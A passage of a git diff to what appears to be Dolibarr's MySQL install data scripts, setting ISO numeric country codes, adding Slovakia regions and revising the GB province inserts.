+UPDATE llx_c_country SET numeric_code = '584' WHERE code_iso = 'MHL'; +UPDATE llx_c_country SET numeric_code = '612' WHERE code_iso = 'PCN'; +UPDATE llx_c_country SET numeric_code = '090' WHERE code_iso = 'SLB'; +UPDATE llx_c_country SET numeric_code = '796' WHERE code_iso = 'TCA'; +UPDATE llx_c_country SET numeric_code = '581' WHERE code_iso = 'UMI'; +UPDATE llx_c_country SET numeric_code = '092' WHERE code_iso = 'VGB'; +UPDATE llx_c_country SET numeric_code = '850' WHERE code_iso = 'VIR'; +UPDATE llx_c_country SET numeric_code = '376' WHERE code_iso = 'ISR'; +UPDATE llx_c_country SET numeric_code = '380' WHERE code_iso = 'ITA'; +UPDATE llx_c_country SET numeric_code = '388' WHERE code_iso = 'JAM'; +UPDATE llx_c_country SET numeric_code = '392' WHERE code_iso = 'JPN'; +UPDATE llx_c_country SET numeric_code = '832' WHERE code_iso = 'JEY'; +UPDATE llx_c_country SET numeric_code = '400' WHERE code_iso = 'JOR'; +UPDATE llx_c_country SET numeric_code = '398' WHERE code_iso = 'KAZ'; +UPDATE llx_c_country SET numeric_code = '404' WHERE code_iso = 'KEN'; +UPDATE llx_c_country SET numeric_code = '417' WHERE code_iso = 'KGZ'; +UPDATE llx_c_country SET numeric_code = '296' WHERE code_iso = 'KIR'; +UPDATE llx_c_country SET numeric_code = '414' WHERE code_iso = 'KWT'; +UPDATE llx_c_country SET numeric_code = '418' WHERE code_iso = 'LAO'; +UPDATE llx_c_country SET numeric_code = '426' WHERE code_iso = 'LSO'; +UPDATE llx_c_country SET numeric_code = '428' WHERE code_iso = 'LVA'; +UPDATE llx_c_country SET numeric_code = '422' WHERE code_iso = 'LBN'; +UPDATE llx_c_country SET numeric_code = '430' WHERE code_iso = 'LBR'; +UPDATE llx_c_country SET numeric_code = '434' WHERE code_iso = 'LBY'; +UPDATE llx_c_country SET numeric_code = '438' WHERE code_iso = 'LIE'; +UPDATE llx_c_country SET numeric_code = '440' WHERE code_iso = 'LTU'; +UPDATE llx_c_country SET numeric_code = '442' WHERE code_iso = 'LUX'; +UPDATE llx_c_country SET numeric_code = '446' WHERE code_iso = 'MAC'; +UPDATE llx_c_country SET numeric_code = '807' WHERE code_iso = 'MKD'; +UPDATE llx_c_country SET numeric_code = '450' WHERE code_iso = 'MDG'; +UPDATE llx_c_country SET numeric_code = '458' WHERE code_iso = 'MYS'; +UPDATE llx_c_country SET numeric_code = '454' WHERE code_iso = 'MWI'; +UPDATE llx_c_country SET numeric_code = '462' WHERE code_iso = 'MDV'; +UPDATE llx_c_country SET numeric_code = '466' WHERE code_iso = 'MLI'; +UPDATE llx_c_country SET numeric_code = '470' WHERE code_iso = 'MLT'; +UPDATE llx_c_country SET numeric_code = '504' WHERE code_iso = 'MAR'; +UPDATE llx_c_country SET numeric_code = '474' WHERE code_iso = 'MTQ'; +UPDATE llx_c_country SET numeric_code = '480' WHERE code_iso = 'MUS'; +UPDATE llx_c_country SET numeric_code = '478' WHERE code_iso = 'MRT'; +UPDATE llx_c_country SET numeric_code = '175' WHERE code_iso = 'MYT'; +UPDATE llx_c_country SET numeric_code = '484' WHERE code_iso = 'MEX'; +UPDATE llx_c_country SET numeric_code = '583' WHERE code_iso = 'FSM'; +UPDATE llx_c_country SET numeric_code = '498' WHERE code_iso = 'MDA'; +UPDATE llx_c_country SET numeric_code = '492' WHERE code_iso = 'MCO'; +UPDATE llx_c_country SET numeric_code = '496' WHERE code_iso = 'MNG'; +UPDATE llx_c_country SET numeric_code = '499' WHERE code_iso = 'MNE'; +UPDATE llx_c_country SET numeric_code = '500' WHERE code_iso = 'MSR'; +UPDATE llx_c_country SET numeric_code = '508' WHERE code_iso = 'MOZ'; +UPDATE llx_c_country SET numeric_code = '104' WHERE code_iso = 'MMR'; +UPDATE llx_c_country SET numeric_code = '516' WHERE code_iso = 'NAM'; +UPDATE llx_c_country SET numeric_code = '520' WHERE code_iso = 'NRU'; +UPDATE llx_c_country SET numeric_code = '524' WHERE code_iso = 'NPL'; +UPDATE llx_c_country SET numeric_code = '558' WHERE code_iso = 'NIC'; +UPDATE llx_c_country SET numeric_code = '562' WHERE code_iso = 'NER'; +UPDATE llx_c_country SET numeric_code = '566' WHERE code_iso = 'NGA'; +UPDATE llx_c_country SET numeric_code = '570' WHERE code_iso = 'NIU'; +UPDATE llx_c_country SET numeric_code = '574' WHERE code_iso = 'NFK'; +UPDATE llx_c_country SET numeric_code = '578' WHERE code_iso = 'NOR'; +UPDATE llx_c_country SET numeric_code = '540' WHERE code_iso = 'NCL'; +UPDATE llx_c_country SET numeric_code = '554' WHERE code_iso = 'NZL'; +UPDATE llx_c_country SET numeric_code = '512' WHERE code_iso = 'OMN'; +UPDATE llx_c_country SET numeric_code = '528' WHERE code_iso = 'NLD'; +UPDATE llx_c_country SET numeric_code = '586' WHERE code_iso = 'PAK'; +UPDATE llx_c_country SET numeric_code = '585' WHERE code_iso = 'PLW'; +UPDATE llx_c_country SET numeric_code = '275' WHERE code_iso = 'PSE'; +UPDATE llx_c_country SET numeric_code = '591' WHERE code_iso = 'PAN'; +UPDATE llx_c_country SET numeric_code = '598' WHERE code_iso = 'PNG'; +UPDATE llx_c_country SET numeric_code = '600' WHERE code_iso = 'PRY'; +UPDATE llx_c_country SET numeric_code = '604' WHERE code_iso = 'PER'; +UPDATE llx_c_country SET numeric_code = '258' WHERE code_iso = 'PYF'; +UPDATE llx_c_country SET numeric_code = '616' WHERE code_iso = 'POL'; +UPDATE llx_c_country SET numeric_code = '620' WHERE code_iso = 'PRT'; +UPDATE llx_c_country SET numeric_code = '630' WHERE code_iso = 'PRI'; +UPDATE llx_c_country SET numeric_code = '826' WHERE code_iso = 'GBR'; +UPDATE llx_c_country SET numeric_code = '732' WHERE code_iso = 'ESH'; +UPDATE llx_c_country SET numeric_code = '140' WHERE code_iso = 'CAF'; +UPDATE llx_c_country SET numeric_code = '203' WHERE code_iso = 'CZE'; +UPDATE llx_c_country SET numeric_code = '178' WHERE code_iso = 'COG'; +UPDATE llx_c_country SET numeric_code = '180' WHERE code_iso = 'COD'; +UPDATE llx_c_country SET numeric_code = '214' WHERE code_iso = 'DOM'; +UPDATE llx_c_country SET numeric_code = '638' WHERE code_iso = 'REU'; +UPDATE llx_c_country SET numeric_code = '646' WHERE code_iso = 'RWA'; +UPDATE llx_c_country SET numeric_code = '642' WHERE code_iso = 'ROU'; +UPDATE llx_c_country SET numeric_code = '643' WHERE code_iso = 'RUS'; +UPDATE llx_c_country SET numeric_code = '882' WHERE code_iso = 'WSM'; +UPDATE llx_c_country SET numeric_code = '016' WHERE code_iso = 'ASM'; +UPDATE llx_c_country SET numeric_code = '652' WHERE code_iso = 'BLM'; +UPDATE llx_c_country SET numeric_code = '659' WHERE code_iso = 'KNA'; +UPDATE llx_c_country SET numeric_code = '674' WHERE code_iso = 'SMR'; +UPDATE llx_c_country SET numeric_code = '663' WHERE code_iso = 'MAF'; +UPDATE llx_c_country SET numeric_code = '666' WHERE code_iso = 'SPM'; +UPDATE llx_c_country SET numeric_code = '670' WHERE code_iso = 'VCT'; +UPDATE llx_c_country SET numeric_code = '654' WHERE code_iso = 'SHN'; +UPDATE llx_c_country SET numeric_code = '662' WHERE code_iso = 'LCA'; +UPDATE llx_c_country SET numeric_code = '678' WHERE code_iso = 'STP'; +UPDATE llx_c_country SET numeric_code = '686' WHERE code_iso = 'SEN'; +UPDATE llx_c_country SET numeric_code = '688' WHERE code_iso = 'SRB'; +UPDATE llx_c_country SET numeric_code = '690' WHERE code_iso = 'SYC'; +UPDATE llx_c_country SET numeric_code = '694' WHERE code_iso = 'SLE'; +UPDATE llx_c_country SET numeric_code = '702' WHERE code_iso = 'SGP'; +UPDATE llx_c_country SET numeric_code = '534' WHERE code_iso = 'SXM'; +UPDATE llx_c_country SET numeric_code = '760' WHERE code_iso = 'SYR'; +UPDATE llx_c_country SET numeric_code = '706' WHERE code_iso = 'SOM'; +UPDATE llx_c_country SET numeric_code = '144' WHERE code_iso = 'LKA'; +UPDATE llx_c_country SET numeric_code = '748' WHERE code_iso = 'SWZ'; +UPDATE llx_c_country SET numeric_code = '710' WHERE code_iso = 'ZAF'; +UPDATE llx_c_country SET numeric_code = '729' WHERE code_iso = 'SDN'; +UPDATE llx_c_country SET numeric_code = '728' WHERE code_iso = 'SSD'; +UPDATE llx_c_country SET numeric_code = '752' WHERE code_iso = 'SWE'; +UPDATE llx_c_country SET numeric_code = '756' WHERE code_iso = 'CHE'; +UPDATE llx_c_country SET numeric_code = '740' WHERE code_iso = 'SUR'; +UPDATE llx_c_country SET numeric_code = '744' WHERE code_iso = 'SJM'; +UPDATE llx_c_country SET numeric_code = '764' WHERE code_iso = 'THA'; +UPDATE llx_c_country SET numeric_code = '158' WHERE code_iso = 'TWN'; +UPDATE llx_c_country SET numeric_code = '834' WHERE code_iso = 'TZA'; +UPDATE llx_c_country SET numeric_code = '762' WHERE code_iso = 'TJK'; +UPDATE llx_c_country SET numeric_code = '086' WHERE code_iso = 'IOT'; +UPDATE llx_c_country SET numeric_code = '260' WHERE code_iso = 'ATF'; +UPDATE llx_c_country SET numeric_code = '626' WHERE code_iso = 'TLS'; +UPDATE llx_c_country SET numeric_code = '768' WHERE code_iso = 'TGO'; +UPDATE llx_c_country SET numeric_code = '772' WHERE code_iso = 'TKL'; +UPDATE llx_c_country SET numeric_code = '776' WHERE code_iso = 'TON'; +UPDATE llx_c_country SET numeric_code = '780' WHERE code_iso = 'TTO'; +UPDATE llx_c_country SET numeric_code = '788' WHERE code_iso = 'TUN'; +UPDATE llx_c_country SET numeric_code = '795' WHERE code_iso = 'TKM'; +UPDATE llx_c_country SET numeric_code = '792' WHERE code_iso = 'TUR'; +UPDATE llx_c_country SET numeric_code = '798' WHERE code_iso = 'TUV'; +UPDATE llx_c_country SET numeric_code = '804' WHERE code_iso = 'UKR'; +UPDATE llx_c_country SET numeric_code = '800' WHERE code_iso = 'UGA'; +UPDATE llx_c_country SET numeric_code = '858' WHERE code_iso = 'URY'; +UPDATE llx_c_country SET numeric_code = '860' WHERE code_iso = 'UZB'; +UPDATE llx_c_country SET numeric_code = '548' WHERE code_iso = 'VUT'; +UPDATE llx_c_country SET numeric_code = '336' WHERE code_iso = 'VAT'; +UPDATE llx_c_country SET numeric_code = '862' WHERE code_iso = 'VEN'; +UPDATE llx_c_country SET numeric_code = '704' WHERE code_iso = 'VNM'; +UPDATE llx_c_country SET numeric_code = '876' WHERE code_iso = 'WLF'; +UPDATE llx_c_country SET numeric_code = '887' WHERE code_iso = 'YEM'; +UPDATE llx_c_country SET numeric_code = '262' WHERE code_iso = 'DJI'; +UPDATE llx_c_country SET numeric_code = '894' WHERE code_iso = 'ZMB'; +UPDATE llx_c_country SET numeric_code = '716' WHERE code_iso = 'ZWE'; + + + -- Set field eec UPDATE llx_c_country SET eec = 1 WHERE code IN ('AT','BE','BG','CY','CZ','DE','DK','EE','ES','FI','FR','GR','HR','NL','HU','IE','IT','LT','LU','LV','MC','MT','PL','PT','RO','SE','SK','SI'); + + + diff --git a/htdocs/install/mysql/data/llx_10_c_regions.sql b/htdocs/install/mysql/data/llx_10_c_regions.sql index 52a1a3bbbb6..f86fbe069b8 100644 --- a/htdocs/install/mysql/data/llx_10_c_regions.sql +++ b/htdocs/install/mysql/data/llx_10_c_regions.sql @@ -78,6 +78,7 @@ -- Portugal -- Romania -> for Departmements -- San Salvador +-- Slovakia -- Slovenia -- Spain -- Switzerland/Suisse -> for Departmements/Cantons @@ -450,6 +451,13 @@ INSERT INTO llx_c_regions (fk_pays, code_region, cheflieu, tncc, nom) values ( 8 INSERT INTO llx_c_regions (fk_pays, code_region, cheflieu, tncc, nom) values ( 86, 8603, NULL, NULL, 'Occidental'); +-- Slovakia Regions (rowid country=201) +INSERT INTO llx_c_regions (fk_pays, code_region, cheflieu, tncc, nom) VALUES ( 201, '20101', 'SK01', NULL, 'Bratislava Region'); +INSERT INTO llx_c_regions (fk_pays, code_region, cheflieu, tncc, nom) VALUES ( 201, '20102', 'SK02', NULL, 'Western Slovakia'); +INSERT INTO llx_c_regions (fk_pays, code_region, cheflieu, tncc, nom) VALUES ( 201, '20103', 'SK03', NULL, 'Central Slovakia'); +INSERT INTO llx_c_regions (fk_pays, code_region, cheflieu, tncc, nom) VALUES ( 201, '20104', 'SK04', NULL, 'Eastern Slovakia'); + + -- Slovenia Regions (rowid country=202) INSERT INTO llx_c_regions (fk_pays, code_region, cheflieu, tncc, nom) VALUES ( 202, '20203', 'SI03', NULL, 'East Slovenia'); INSERT INTO llx_c_regions (fk_pays, code_region, cheflieu, tncc, nom) VALUES ( 202, '20204', 'SI04', NULL, 'West Slovenia'); diff --git a/htdocs/install/mysql/data/llx_20_c_departements.sql b/htdocs/install/mysql/data/llx_20_c_departements.sql index 04fea66c8ed..9e93196c3d7 100644 --- a/htdocs/install/mysql/data/llx_20_c_departements.sql +++ b/htdocs/install/mysql/data/llx_20_c_departements.sql @@ -1228,7 +1228,7 @@ INSERT INTO llx_c_departements (fk_region, code_departement, ncc, nom) VALUES (6 INSERT INTO llx_c_departements (fk_region, code_departement, ncc, nom) VALUES (601, 'ZH','ZURICH','Zürich'); --- Taiwan Divisions / Provinces / Counties (rowid country=886) +-- Taiwan Divisions / Provinces / Counties (id country=213) INSERT INTO llx_c_departements (fk_region, code_departement, cheflieu, tncc, nom) VALUES (21301, 'TW-KLU', 'KLU', NULL, '基隆市'); INSERT INTO llx_c_departements (fk_region, code_departement, cheflieu, tncc, nom) VALUES (21301, 'TW-TPE', 'TPE', NULL, '臺北市'); INSERT INTO llx_c_departements (fk_region, code_departement, cheflieu, tncc, nom) VALUES (21301, 'TW-TPH', 'TPH', NULL, '新北市'); @@ -1516,124 +1516,124 @@ INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc -- Provinces GB (id country=7) -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('701', 701, NULL, 0,NULL, 'Bedfordshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('702', 701, NULL, 0,NULL, 'Berkshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('703', 701, NULL, 0,NULL, 'Bristol, City of', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('704', 701, NULL, 0,NULL, 'Buckinghamshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('705', 701, NULL, 0,NULL, 'Cambridgeshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('706', 701, NULL, 0,NULL, 'Cheshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('707', 701, NULL, 0,NULL, 'Cleveland', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('708', 701, NULL, 0,NULL, 'Cornwall', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('709', 701, NULL, 0,NULL, 'Cumberland', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('710', 701, NULL, 0,NULL, 'Cumbria', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('711', 701, NULL, 0,NULL, 'Derbyshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('712', 701, NULL, 0,NULL, 'Devon', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('713', 701, NULL, 0,NULL, 'Dorset', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('714', 701, NULL, 0,NULL, 'Co. Durham', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('715', 701, NULL, 0,NULL, 'East Riding of Yorkshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('716', 701, NULL, 0,NULL, 'East Sussex', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('717', 701, NULL, 0,NULL, 'Essex', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('718', 701, NULL, 0,NULL, 'Gloucestershire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('719', 701, NULL, 0,NULL, 'Greater Manchester', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('720', 701, NULL, 0,NULL, 'Hampshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('721', 701, NULL, 0,NULL, 'Hertfordshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('722', 701, NULL, 0,NULL, 'Hereford and Worcester', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('723', 701, NULL, 0,NULL, 'Herefordshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('724', 701, NULL, 0,NULL, 'Huntingdonshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('725', 701, NULL, 0,NULL, 'Isle of Man', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('726', 701, NULL, 0,NULL, 'Isle of Wight', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('727', 701, NULL, 0,NULL, 'Jersey', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('728', 701, NULL, 0,NULL, 'Kent', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('729', 701, NULL, 0,NULL, 'Lancashire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('730', 701, NULL, 0,NULL, 'Leicestershire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('731', 701, NULL, 0,NULL, 'Lincolnshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('732', 701, NULL, 0,NULL, 'London - City of London', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('733', 701, NULL, 0,NULL, 'Merseyside', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('734', 701, NULL, 0,NULL, 'Middlesex', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('735', 701, NULL, 0,NULL, 'Norfolk', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('736', 701, NULL, 0,NULL, 'North Yorkshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('737', 701, NULL, 0,NULL, 'North Riding of Yorkshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('738', 701, NULL, 0,NULL, 'Northamptonshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('739', 701, NULL, 0,NULL, 'Northumberland', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('740', 701, NULL, 0,NULL, 'Nottinghamshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('741', 701, NULL, 0,NULL, 'Oxfordshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('742', 701, NULL, 0,NULL, 'Rutland', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('743', 701, NULL, 0,NULL, 'Shropshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('744', 701, NULL, 0,NULL, 'Somerset', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('745', 701, NULL, 0,NULL, 'Staffordshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('746', 701, NULL, 0,NULL, 'Suffolk', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('747', 701, NULL, 0,NULL, 'Surrey', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('748', 701, NULL, 0,NULL, 'Sussex', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('749', 701, NULL, 0,NULL, 'Tyne and Wear', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('750', 701, NULL, 0,NULL, 'Warwickshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('751', 701, NULL, 0,NULL, 'West Midlands', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('752', 701, NULL, 0,NULL, 'West Sussex', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('753', 701, NULL, 0,NULL, 'West Yorkshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('754', 701, NULL, 0,NULL, 'West Riding of Yorkshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('755', 701, NULL, 0,NULL, 'Wiltshire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('756', 701, NULL, 0,NULL, 'Worcestershire', 1); -INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom, active) VALUES ('757', 701, NULL, 0,NULL, 'Yorkshire', 1); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('701', 701, NULL, 0,NULL, 'Bedfordshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('702', 701, NULL, 0,NULL, 'Berkshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('703', 701, NULL, 0,NULL, 'Bristol, City of'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('704', 701, NULL, 0,NULL, 'Buckinghamshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('705', 701, NULL, 0,NULL, 'Cambridgeshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('706', 701, NULL, 0,NULL, 'Cheshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('707', 701, NULL, 0,NULL, 'Cleveland'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('708', 701, NULL, 0,NULL, 'Cornwall'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('709', 701, NULL, 0,NULL, 'Cumberland'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('710', 701, NULL, 0,NULL, 'Cumbria'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('711', 701, NULL, 0,NULL, 'Derbyshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('712', 701, NULL, 0,NULL, 'Devon'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('713', 701, NULL, 0,NULL, 'Dorset'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('714', 701, NULL, 0,NULL, 'Co. Durham'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('715', 701, NULL, 0,NULL, 'East Riding of Yorkshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('716', 701, NULL, 0,NULL, 'East Sussex'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('717', 701, NULL, 0,NULL, 'Essex'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('718', 701, NULL, 0,NULL, 'Gloucestershire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('719', 701, NULL, 0,NULL, 'Greater Manchester'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('720', 701, NULL, 0,NULL, 'Hampshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('721', 701, NULL, 0,NULL, 'Hertfordshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('722', 701, NULL, 0,NULL, 'Hereford and Worcester'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('723', 701, NULL, 0,NULL, 'Herefordshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('724', 701, NULL, 0,NULL, 'Huntingdonshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('725', 701, NULL, 0,NULL, 'Isle of Man'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('726', 701, NULL, 0,NULL, 'Isle of Wight'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('727', 701, NULL, 0,NULL, 'Jersey'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('728', 701, NULL, 0,NULL, 'Kent'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('729', 701, NULL, 0,NULL, 'Lancashire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('730', 701, NULL, 0,NULL, 'Leicestershire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('731', 701, NULL, 0,NULL, 'Lincolnshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('732', 701, NULL, 0,NULL, 'London - City of London'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('733', 701, NULL, 0,NULL, 'Merseyside'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('734', 701, NULL, 0,NULL, 'Middlesex'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('735', 701, NULL, 0,NULL, 'Norfolk'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('736', 701, NULL, 0,NULL, 'North Yorkshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('737', 701, NULL, 0,NULL, 'North Riding of Yorkshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('738', 701, NULL, 0,NULL, 'Northamptonshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('739', 701, NULL, 0,NULL, 'Northumberland'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('740', 701, NULL, 0,NULL, 'Nottinghamshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('741', 701, NULL, 0,NULL, 'Oxfordshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('742', 701, NULL, 0,NULL, 'Rutland'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('743', 701, NULL, 0,NULL, 'Shropshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('744', 701, NULL, 0,NULL, 'Somerset'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('745', 701, NULL, 0,NULL, 'Staffordshire'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) VALUES ('746', 701, NULL, 0,NULL, 'Suffolk'); +INSERT INTO llx_c_departements (code_departement, fk_region, cheflieu, tncc, ncc, nom) 